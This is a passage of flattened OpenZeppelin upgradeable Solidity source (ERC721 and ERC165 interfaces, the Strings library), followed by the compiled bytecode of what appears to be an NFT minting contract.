transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106102ae5760003560e01c80638462151c11610175578063c084f540116100dc578063e1fc334f11610095578063f0b7db4e1161006f578063f0b7db4e14610983578063f2fde38b146109a4578063f47c84c5146109c4578063f4a0a528146109da57600080fd5b8063e1fc334f14610922578063e985e9c514610943578063eb0e7b221461096357600080fd5b8063c084f540146107b5578063c87b56dd146107cc578063c884ef83146107ec578063e05c57bf1461081a578063e08e65ea146108da578063e1bbe3a5146108fa57600080fd5b8063a25a5ec51161012e578063a25a5ec514610681578063aa98e0c614610698578063b3066d49146106af578063b88d4fde146106cf578063bad04792146106ef578063c002d23d1461079e57600080fd5b80638462151c146105a65780638da5cb5b146105d357806394e56847146105f157806395d89b411461061e578063a1b8f37414610633578063a22cb4651461066157600080fd5b80634018b1f8116102195780636352211e116101d25780636352211e1461050957806367f68fac1461052957806370a082311461053c578063715018a61461055c5780637d2c9c10146105715780638129fc1c1461059157600080fd5b80634018b1f81461047257806342842e0e146104885780634880c36c146104a85780634cf088d9146104bb5780634f02c420146104dc5780635c975abb146104f157600080fd5b806323b872dd1161026b57806323b872dd146103ab57806327de8f27146103cb57806333df4b2c146103eb5780633431a7531461041d578063368383911461043d5780633ccfd60b1461045d57600080fd5b806301ffc9a7146102b357806306fdde03146102e8578063081812fc1461030a578063095ea7b31461034257806316c38b3c1461036457806318160ddd14610384575b600080fd5b3480156102bf57600080fd5b506102d36102ce366004613c9d565b6109fa565b60405190151581526020015b60405180910390f35b3480156102f457600080fd5b506102fd610a4c565b6040516102df9190613f4a565b34801561031657600080fd5b5061032a610325366004613c84565b610ade565b6040516001600160a01b0390911681526020016102df565b34801561034e57600080fd5b5061036261035d366004613bb3565b610b22565b005b34801561037057600080fd5b5061036261037f366004613c69565b610bb0565b34801561039057600080fd5b5060665460655403600019015b6040519081526020016102df565b3480156103b757600080fd5b506103626103c6366004613a94565b610c5e565b3480156103d757600080fd5b5061039d6103e6366004613c84565b610c69565b3480156103f757600080fd5b5061040b610406366004613dbb565b610d1a565b60405160ff90911681526020016102df565b34801561042957600080fd5b50610362610438366004613c84565b610d61565b34801561044957600080fd5b5061040b610458366004613dbb565b610d91565b34801561046957600080fd5b50610362610da2565b34801561047e57600080fd5b5061012d5461039d565b34801561049457600080fd5b506103626104a3366004613a94565b610e05565b6103626104b6366004613c13565b610e20565b3480156104c757600080fd5b506101505461032a906001600160a01b031681565b3480156104e857600080fd5b5061039d610ff1565b3480156104fd57600080fd5b5060c95460ff166102d3565b34801561051557600080fd5b5061032a610524366004613c84565b611000565b610362610537366004613d98565b611012565b34801561054857600080fd5b5061039d610557366004613a3e565b61110d565b34801561056857600080fd5b5061036261115b565b34801561057d57600080fd5b5061036261058c366004613ddd565b611191565b34801561059d57600080fd5b5061036261121a565b3480156105b257600080fd5b506105c66105c1366004613a3e565b611f45565b6040516102df9190613f06565b3480156105df57600080fd5b506097546001600160a01b031661032a565b3480156105fd57600080fd5b5061061161060c366004613c84565b61206f565b6040516102df9190613fdd565b34801561062a57600080fd5b506102fd612180565b34801561063f57600080fd5b5061039d61064e366004613c84565b6101336020526000908152604090205481565b34801561066d57600080fd5b5061036261067c366004613b7e565b61218f565b34801561068d57600080fd5b5061039d61012f5481565b3480156106a457600080fd5b5061039d6101305481565b3480156106bb57600080fd5b506103626106ca366004613cd7565b612225565b3480156106db57600080fd5b506103626106ea366004613ad5565b612291565b3480156106fb57600080fd5b506102d361070a366004613c84565b6000908152610132602090815260409182902082516101008082018552915460ff80821615158084529382048116948301949094526201000081048416948201949094526301000000840483166060820152640100000000840483166080820152600160281b8404831660a0820152600160301b8404831660c0820152600160381b90930490911660e09092019190915290565b3480156107aa57600080fd5b5061039d61012e5481565b3480156107c157600080fd5b5061039d61012d5481565b3480156107d857600080fd5b506102fd6107e7366004613c84565b6122dc565b3480156107f857600080fd5b5061039d610807366004613a3e565b6101316020526000908152604090205481565b34801561082657600080fd5b50610890610835366004613c84565b6101326020526000908152604090205460ff808216916101008104821691620100008204811691630100000081048216916401000000008204811691600160281b8104821691600160301b8204811691600160381b90041688565b60408051981515895260ff97881660208a01529587169588019590955292851660608701529084166080860152831660a0850152821660c08401521660e0820152610100016102df565b3480156108e657600080fd5b506103626108f5366004613c84565b612385565b34801561090657600080fd5b5061090f600581565b60405161ffff90911681526020016102df565b34801561092e57600080fd5b506101525461032a906001600160a01b031681565b34801561094f57600080fd5b506102d361095e366004613a5b565b6123b5565b34801561096f57600080fd5b5061039d61097e366004613bdf565b612401565b34801561098f57600080fd5b506101515461032a906001600160a01b031681565b3480156109b057600080fd5b506103626109bf366004613a3e565b612495565b3480156109d057600080fd5b5061039d61927c81565b3480156109e657600080fd5b506103626109f5366004613c84565b61252d565b60006001600160e01b031982166380ac58cd60e01b1480610a2b57506001600160e01b03198216635b5e139f60e01b145b80610a4657506301ffc9a760e01b6001600160e01b03198316145b92915050565b606060678054610a5b906141b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610a87906141b6565b8015610ad45780601f10610aa957610100808354040283529160200191610ad4565b820191906000526020600020905b815481529060010190602001808311610ab757829003601f168201915b5050505050905090565b6000610ae982612589565b610b06576040516333d1c03960e21b815260040160405180910390fd5b506000908152606b60205260409020546001600160a01b031690565b6000610b2d82611000565b9050806001600160a01b0316836001600160a01b03161415610b625760405163250fdee360e21b815260040160405180910390fd5b336001600160a01b03821614801590610b825750610b8081336123b5565b155b15610ba0576040516367d9dca160e11b815260040160405180910390fd5b610bab8383836125c2565b505050565b610152546001600160a01b031615801590610bd65750610150546001600160a01b031615155b610c1b5760405162461bcd60e51b815260206004820152601160248201527010dbdb9d1c9858dd1cc81b9bdd081cd95d607a1b60448201526064015b60405180910390fd5b6097546001600160a01b03163314610c455760405162461bcd60e51b8152600401610c1290613f5d565b8015610c5657610c5361261e565b50565b610c536126b6565b610bab838383612730565b600061012d548211610c7d57506000919050565b6005610c8c61927c6002614130565b610c96919061411c565b8211610cac5750680ad78ebc5ac6200000919050565b6005610cbb61927c6003614130565b610cc5919061411c565b8211610cdb5750681043561a8829300000919050565b6005610cea61927c6004614130565b610cf4919061411c565b8211610d0a57506815af1d78b58c400000919050565b50681b1ae4d6e2ef500000919050565b61013482600e8110610d2b57600080fd5b018181548110610d3a57600080fd5b9060005260206000209060209182820401919006915091509054906101000a900460ff1681565b6097546001600160a01b03163314610d8b5760405162461bcd60e51b8152600401610c1290613f5d565b61012d55565b61014282600e8110610d2b57600080fd5b6097546001600160a01b03163314610dcc5760405162461bcd60e51b8152600401610c1290613f5d565b6097546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610c53573d6000803e3d6000fd5b610bab83838360405180602001604052806000815250612291565b82610e3e8161013054610e303390565b6001600160a01b031661291b565b610e815760405162461bcd60e51b815260206004820152601460248201527324a72b20a624a22fa6a2a925a622afa82927a7a360611b6044820152606401610c12565b3360009081526101316020526040902054600590610ea09085906140df565b1115610ee55760405162461bcd60e51b81526020600482015260146024820152731352539517d0d3d353555392551657d15391115160621b6044820152606401610c12565b61012d5483610ef2612931565b610efc91906140df565b1115610f375760405162461bcd60e51b815260206004820152600a6024820152691352539517d15391115160b21b6044820152606401610c12565b336000908152610131602052604090205415610f535782610f5e565b610f5e60018461414f565b61012f54610f6c9190614130565b3414610fba5760405162461bcd60e51b815260206004820152601c60248201527f4d494e545f434f4d4d554e4954595f50524943455f494e56414c4944000000006044820152606401610c12565b336000908152610131602052604081208054859290610fda9084906140df565b90915550610fea9050838361293b565b5050505050565b6000610ffb612931565b905090565b600061100b82612cb4565b5192915050565b61012d5461101e612931565b10156110bd5761012e54611030612931565b61012d5461103e919061414f565b831161104a5782611060565b611052612931565b61012d54611060919061414f565b61106a9190614130565b34146110b85760405162461bcd60e51b815260206004820152601760248201527f4d494e545f504149445f50524943455f494e56414c49440000000000000000006044820152606401610c12565b611103565b34156111035760405162461bcd60e51b81526020600482015260156024820152744d494e545f504149445f494e5f4449414d4f4e445360581b6044820152606401610c12565b610bab828261293b565b60006001600160a01b038216611136576040516323d3ad8160e21b815260040160405180910390fd5b506001600160a01b03166000908152606a60205260409020546001600160401b031690565b6097546001600160a01b031633146111855760405162461bcd60e51b8152600401610c1290613f5d565b61118f6000612ddb565b565b6097546001600160a01b031633146111bb5760405162461bcd60e51b8152600401610c1290613f5d565b816101348460ff16600e81106111d3576111d361428a565b0190805190602001906111e79291906137cc565b50806101428460ff16600e81106112005761120061428a565b0190805190602001906112149291906137cc565b50505050565b600054610100900460ff166112355760005460ff1615611239565b303b155b61129c5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610c12565b600054610100900460ff161580156112be576000805461ffff19166101011790555b6113116040518060400160405280600d81526020016c111a585b5bdb990812195a5cdd609a1b8152506040518060400160405280600c81526020016b1112505353d39112115254d560a21b815250612e2d565b611319612e62565b611321612e91565b611329612ec0565b61133161261e565b611d4c61012d5566d529ae9e86000061012e55668e1bc9bf04000061012f55604080516101808101825260ff8152603d6020820152607a918101829052601e6060820181905260b7608083015260e060a08301819052608e60c084015282015260d6610100820181905260ad6101208301526101408201526101608101919091526113c19061013490600c6137cc565b5060408051610180810182526000808252602082018190529181018290526007606082018190526080820181905260a08201839052600560c0830152600660e0830152610100820152600861012082018190526101408201526009610160820152906101429061143592910190600c6137cc565b50604080516101e081018252607280825260fe6020830181905260bf93830184905260986060840181905260f26080850181905260a085019190915260c0840185905260e560e0850152610100840152610120830191909152610140820152604c610160820181905261018082015260cb6101a08201526101c08101919091526114c49061013590600f6137cc565b50604080516101e081018252600680825260006020830152918101829052606081018290526001608082015260a08101829052600460c082015260e081018290526101008101829052610120810182905260086101408201819052610160820192909252610180810191909152600a6101a0820152600d6101c08201526115509061014390600f6137cc565b50604080516101a08101825260a58082526042602083015260c69282019290925260ff60608201526080810182905260d360a082015260a860c082015260e08101829052606b610100820152606361012082015260ba61014082015260af6101608201526101808101919091526115cc9061013690600d6137cc565b50604080516101a0810182526006808252602082018190529181018290526000606082015260808101829052600360a0820152600560c082015260e0810182905261010081019190915260086101208201819052610140820152600a610160820152600b6101808201526116459061014490600d6137cc565b506040805161016081018252608c80825260e060208301819052601c938301939093526070606083018190526080830181905260a08084019190915260fe60c084015260e59383019390935261010082019290925260dd6101208201526101408101919091526116ba9061013790600b6137cc565b5060408051610160810182526007808252602082018190529181018290526060810182905260808101829052600860a08201819052600060c0830152600660e083015261010082019290925261012081019190915260096101408201526117269061014590600b6137cc565b50604080516101e08101825260e5815260fe6020820181905260bf92820183905260d86060830152607f6080830152609860a0830181905260c0830181905260a560e0840152604c6101008401819052607261012085015261014084019290925261016083015260cb6101808301526101a08201526101c08101919091526117b39061013890600f6137cc565b50604080516101e081018252600180825260006020830152918101919091526002606082018190526003608083015260a0820181905260c08201819052600460e08301819052610100830191909152610120820181905260076101408301819052610160830191909152600a6101808301526101a0820152600c6101c08201526118429061014690600f6137cc565b506040805161014081018252607f80825260ff60208301819052928201819052606082015260e56080820152606660a082015260c0810182905260e081019190915260b261010082015260336101208201526118a39061013990600a6137cc565b5060408051610140810182526007808252600060208301819052928201819052606082018190526080820181905260a0820181905260c0820183905260e082019290925261010081019190915260086101208201526119079061014790600a6137cc565b50604080516020810190915260ff81526119269061013a9060016137cc565b50604080516020810190915260008152611945906101489060016137cc565b506040805161016081018252608c815260fe6020820152601c91810182905260e0606082018190526038608083015260b560a083015260f460c083015260549082015260db61010082015261012081019190915260c16101408201526119b09061013b90600b6137cc565b5060408051610160810182526001808252600060208301529181018290526060810182905260056080820181905260a082019290925260c0810182905260e08101919091526006610100820152600a6101208201526008610140820152611a1c9061014990600b6137cc565b50604080516101a0810182526063815260a5602082015260ff9181019190915260b2606082015260216080820181905260e860a08301819052606660c084015260e083019190915260c6610100830181905261012083019190915260d16101408301526101608201526084610180820152611a9c9061013c90600d6137cc565b50604080516101a081018252600680825260208201819052600092820192909252600260608201526080810182905260a08101829052600360c082015260e08101829052610100810182905261012081018290526101408101829052610160810191909152600a610180820152611b189061014a90600d6137cc565b50604080516101808101825260fe8152601e6020820181905260e092820183905260996060830181905260cb608084015260a083019190915260c0820181905260d6928201839052605b6101008301819052610120830152610140820192909252610160810191909152611b919061013d90600c6137cc565b506040805161018081018252600080825260208201819052918101829052606081018290526002608082015260a0810182905260c0810182905260e08101829052610100810182905261012081018290526101408101919091526004610160820152611c029061014b90600c6137cc565b50604080516101808101825260fe8152607a60208201819052603d928201839052601e6060830152608082019290925260a0810191909152608e60c0820152605b60e0820181905261010082015260b761012082015260f46101408201819052610160820152611c779061013e90600c6137cc565b5060408051610180810182526000808252602082018190529181018290526060810182905260086080820181905260a0820181905260c0820192909252600960e0820181905260066101008301526101208201929092526101408101829052610160810191909152611cee9061014c90600c6137cc565b50604080516101c08101825260fe8152606b602082018190529181018290526023606082018190526098608083015260c660a083015260c082015260e08101829052607561010082015260846101208201526101408101829052610160810182905261018081018290526101a0810191909152611d709061013f90600e6137cc565b50604080516101c0810182526000808252600460208301819052600593830184905260608301849052608083019190915260a082015260c0810182905260e08101829052610100810191909152600861012082018190526101408201819052610160820152600961018082018190526101a0820152611df49061014d90600e6137cc565b506040805161016081018252608c80825260fe6020830152605492820183905260608201839052608082019290925260cb60a082015260c0810182905260c460e08201819052610100820152610120810182905261014080820192909252611e5e9190600b6137cc565b5060408051610160810182526001808252600060208301526005928201839052606082018390526080820183905260a082015260c0810182905260e0810182905261010081018290526101208101829052610140810191909152611ec79061014e90600b6137cc565b5060408051608081018252601481526099602082015260ff9181019190915260cc6060820152611efc906101419060046137cc565b50604080516080810182526003808252602082015260009181019190915260026060820152611f309061014f9060046137cc565b508015610c53576000805461ff001916905550565b60606000611f528361110d565b6001600160401b03811115611f6957611f696142a0565b604051908082528060200260200182016040528015611f92578160200160208202803683370190505b50606554909150600080805b8381101561206457600081815260696020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff161580159282019290925290612005575061205c565b80516001600160a01b03161561201a57805192505b876001600160a01b0316836001600160a01b0316141561205a578186858060010196508151811061204d5761204d61428a565b6020026020010181815250505b505b600101611f9e565b509295945050505050565b612077613872565b61208082612589565b6120f25760405162461bcd60e51b815260206004820152603860248201527f4552433732314d657461646174613a20746f6b656e207472616974732071756560448201527f727920666f72206e6f6e6578697374656e7420746f6b656e00000000000000006064820152608401610c12565b506000908152610132602090815260409182902082516101008082018552915460ff808216151583529281048316938201939093526201000083048216938101939093526301000000820481166060840152640100000000820481166080840152600160281b8204811660a0840152600160301b8204811660c0840152600160381b9091041660e082015290565b606060688054610a5b906141b6565b6001600160a01b0382163314156121b95760405163b06307db60e01b815260040160405180910390fd5b336000818152606c602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6097546001600160a01b0316331461224f5760405162461bcd60e51b8152600401610c1290613f5d565b61015280546001600160a01b039485166001600160a01b0319918216179091556101508054938516938216939093179092556101518054919093169116179055565b61229c848484612730565b6001600160a01b0383163b151580156122be57506122bc84848484612eef565b155b15611214576040516368d2bf6b60e11b815260040160405180910390fd5b60606122e782612589565b61230457604051630a14c4b560e41b815260040160405180910390fd5b6101525460405163c87b56dd60e01b8152600481018490526001600160a01b039091169063c87b56dd9060240160006040518083038186803b15801561234957600080fd5b505afa15801561235d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a469190810190613d22565b6097546001600160a01b031633146123af5760405162461bcd60e51b8152600401610c1290613f5d565b61013055565b610150546000906001600160a01b03838116911614806123fa57506001600160a01b038084166000908152606c602090815260408083209386168352929052205460ff165b9392505050565b6000816124138161013054610e303390565b6124565760405162461bcd60e51b815260206004820152601460248201527324a72b20a624a22fa6a2a925a622afa82927a7a360611b6044820152606401610c12565b61012d54612462612931565b10612470576000915061248f565b336000908152610131602052604090205461248c90600561414f565b91505b50919050565b6097546001600160a01b031633146124bf5760405162461bcd60e51b8152600401610c1290613f5d565b6001600160a01b0381166125245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c12565b610c5381612ddb565b6097546001600160a01b031633146125575760405162461bcd60e51b8152600401610c1290613f5d565b61012e81905561256860048261411c565b612573906003614130565b61012f5550565b6001600160a01b03163b151590565b60008160011115801561259d575060655482105b8015610a46575050600090815260696020526040902054600160e01b900460ff161590565b6000828152606b602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60c95460ff16156126645760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610c12565b60c9805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586126993390565b6040516001600160a01b03909116815260200160405180910390a1565b60c95460ff166126ff5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610c12565b60c9805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33612699565b600061273b82612cb4565b9050836001600160a01b031681600001516001600160a01b0316146127725760405162a1148160e81b815260040160405180910390fd5b6000336001600160a01b0386161480612790575061279085336123b5565b806127ab5750336127a084610ade565b6001600160a01b0316145b9050806127cb57604051632ce44b5f60e11b815260040160405180910390fd5b6001600160a01b0384166127f257604051633a954ecd60e21b815260040160405180910390fd5b6127fe600084876125c2565b6001600160a01b038581166000908152606a60209081526040808320805467ffffffffffffffff198082166001600160401b0392831660001901831617909255898616808652838620805493841693831660019081018416949094179055898652606990945282852080546001600160e01b031916909417600160a01b429092169190910217835587018084529220805491939091166128d25760655482146128d257805460208601516001600160401b0316600160a01b026001600160e01b03199091166001600160a01b038a16171781555b50505082846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4610fea565b6000826129288584612fe7565b14949350505050565b6065546000190190565b606061294960c95460ff1690565b156129895760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610c12565b600260fb5414156129dc5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610c12565b600260fb55323314612a1b5760405162461bcd60e51b81526020600482015260086024820152674f4e4c595f454f4160c01b6044820152606401610c12565b61927c83612a27612931565b612a3191906140df565b1115612a6c5760405162461bcd60e51b815260206004820152600a6024820152691352539517d15391115160b21b6044820152606401610c12565b600083118015612a7d5750600f8311155b612abf5760405162461bcd60e51b81526020600482015260136024820152721352539517d05353d5539517d2539590531251606a1b6044820152606401610c12565b6000836001600160401b03811115612ad957612ad96142a0565b604051908082528060200260200182016040528015612b02578160200160208202803683370190505b5091506000612b0f612931565b905060005b85811015612b8e5781612b26816141eb565b9250612b40905061ffff8316612b3b8161305b565b6130ba565b5081848281518110612b5457612b5461428a565b61ffff9283166020918202929092010152612b70908316610c69565b612b7a90846140df565b925080612b868161420d565b915050612b14565b508115612c0957610151546001600160a01b0316639dc29fac336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101859052604401600060405180830381600087803b158015612bf057600080fd5b505af1158015612c04573d6000803e3d6000fd5b505050505b612c3d84612c175733612c25565b610150546001600160a01b03165b8660405180602001604052806000815250600061326b565b8315612ca757610150546001600160a01b031663b739100533856040518363ffffffff1660e01b8152600401612c74929190613eb9565b600060405180830381600087803b158015612c8e57600080fd5b505af1158015612ca2573d6000803e3d6000fd5b505050505b5050600160fb5592915050565b60408051606081018252600080825260208201819052918101919091528180600111158015612ce4575060655481105b15612dc257600081815260696020908152604091829020825160608101845290546001600160a01b0381168252600160a01b81046001600160401b031692820192909252600160e01b90910460ff16151591810182905290612dc05780516001600160a01b031615612d57579392505050565b5060001901600081815260696020908152604091829020825160608101845290546001600160a01b038116808352600160a01b82046001600160401b031693830193909352600160e01b900460ff1615159281019290925215612dbb579392505050565b612d57565b505b604051636f96cda160e11b815260040160405180910390fd5b609780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600054610100900460ff16612e545760405162461bcd60e51b8152600401610c1290613f92565b612e5e828261343b565b5050565b600054610100900460ff16612e895760405162461bcd60e51b8152600401610c1290613f92565b61118f613493565b600054610100900460ff16612eb85760405162461bcd60e51b8152600401610c1290613f92565b61118f6134c6565b600054610100900460ff16612ee75760405162461bcd60e51b8152600401610c1290613f92565b61118f6134f6565b604051630a85bd0160e11b81526000906001600160a01b0385169063150b7a0290612f24903390899088908890600401613e7c565b602060405180830381600087803b158015612f3e57600080fd5b505af1925050508015612f6e575060408051601f3d908101601f19168201909252612f6b91810190613cba565b60015b612fc9573d808015612f9c576040519150601f19603f3d011682016040523d82523d6000602084013e612fa1565b606091505b508051612fc1576040516368d2bf6b60e11b815260040160405180910390fd5b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490505b949350505050565b600081815b84518110156130535760008582815181106130095761300961428a565b6020026020010151905080831161302f5760008381526020829052604090209250613040565b600081815260208490526040902092505b508061304b8161420d565b915050612fec565b509392505050565b60003261306960014361414f565b60405160609290921b6bffffffffffffffffffffffff191660208301524060348201524260548201526074810183905260940160408051601f19818403018152919052805160209091012092915050565b6130c2613872565b6130cc8383613524565b905061013360006130dc8361364d565b8152602001908152602001600020546000141561325e576000838152610132602090815260408083208451815493860151928601516060870151608088015160a089015160c08a015160e08b015161ffff1990991695151561ff0019169590951761010060ff988916021763ffff00001916620100009488169490940263ff0000001916939093176301000000928716929092029190911765ffff0000000019166401000000009186169190910265ff0000000000191617600160281b918516919091021767ffff0000000000001916600160301b9184169190910267ff00000000000000191617600160381b92909316919091029190911790558390610133906131e68461364d565b815260208101919091526040016000205580511561322e5760405183907fe343f2a07cb5f9f1bace14bb63e08f9c6edcb69bbb40566b91ec822558eebe0390600090a2610a46565b60405183907fef1da42f89c42f48befa143007e6f5efd84a2d1cc3dc97c5edd2d3373220f66d90600090a2610a46565b6123fa83612b3b8461305b565b6065546001600160a01b03851661329457604051622e076360e81b815260040160405180910390fd5b836132b25760405163b562e8dd60e01b815260040160405180910390fd5b6001600160a01b0385166000818152606a6020908152604080832080546fffffffffffffffffffffffffffffffff1981166001600160401b038083168c0181169182176801000000000000000067ffffffffffffffff1990941690921783900481168c01811690920217909155858452606990925290912080546001600160e01b031916909217600160a01b42909216919091021790558080850183801561336357506001600160a01b0387163b15155b156133ec575b60405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a46133b46000888480600101955088612eef565b6133d1576040516368d2bf6b60e11b815260040160405180910390fd5b808214156133695782606554146133e757600080fd5b613432565b5b6040516001830192906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4808214156133ed575b50606555610fea565b600054610100900460ff166134625760405162461bcd60e51b8152600401610c1290613f92565b81516134759060679060208501906138b6565b5080516134899060689060208401906138b6565b5060016065555050565b600054610100900460ff166134ba5760405162461bcd60e51b8152600401610c1290613f92565b60c9805460ff19169055565b600054610100900460ff166134ed5760405162461bcd60e51b8152600401610c1290613f92565b61118f33612ddb565b600054610100900460ff1661351d5760405162461bcd60e51b8152600401610c1290613f92565b600160fb55565b61352c613872565b61353b600a61ffff8416614228565b151580825260009061354e576007613551565b60005b60109390931c92905061357261ffff841661356d8360006140f7565b6136ee565b60ff16602083015260109290921c9161359461ffff841661356d8360016140f7565b60ff16604083015260109290921c916135b661ffff841661356d8360026140f7565b60ff16606083015260109290921c916135d861ffff841661356d8360036140f7565b60ff16608083015260109290921c916135fa61ffff841661356d8360046140f7565b60ff1660a083015260109290921c9161361c61ffff841661356d8360056140f7565b60ff1660c083015260109290921c9161363e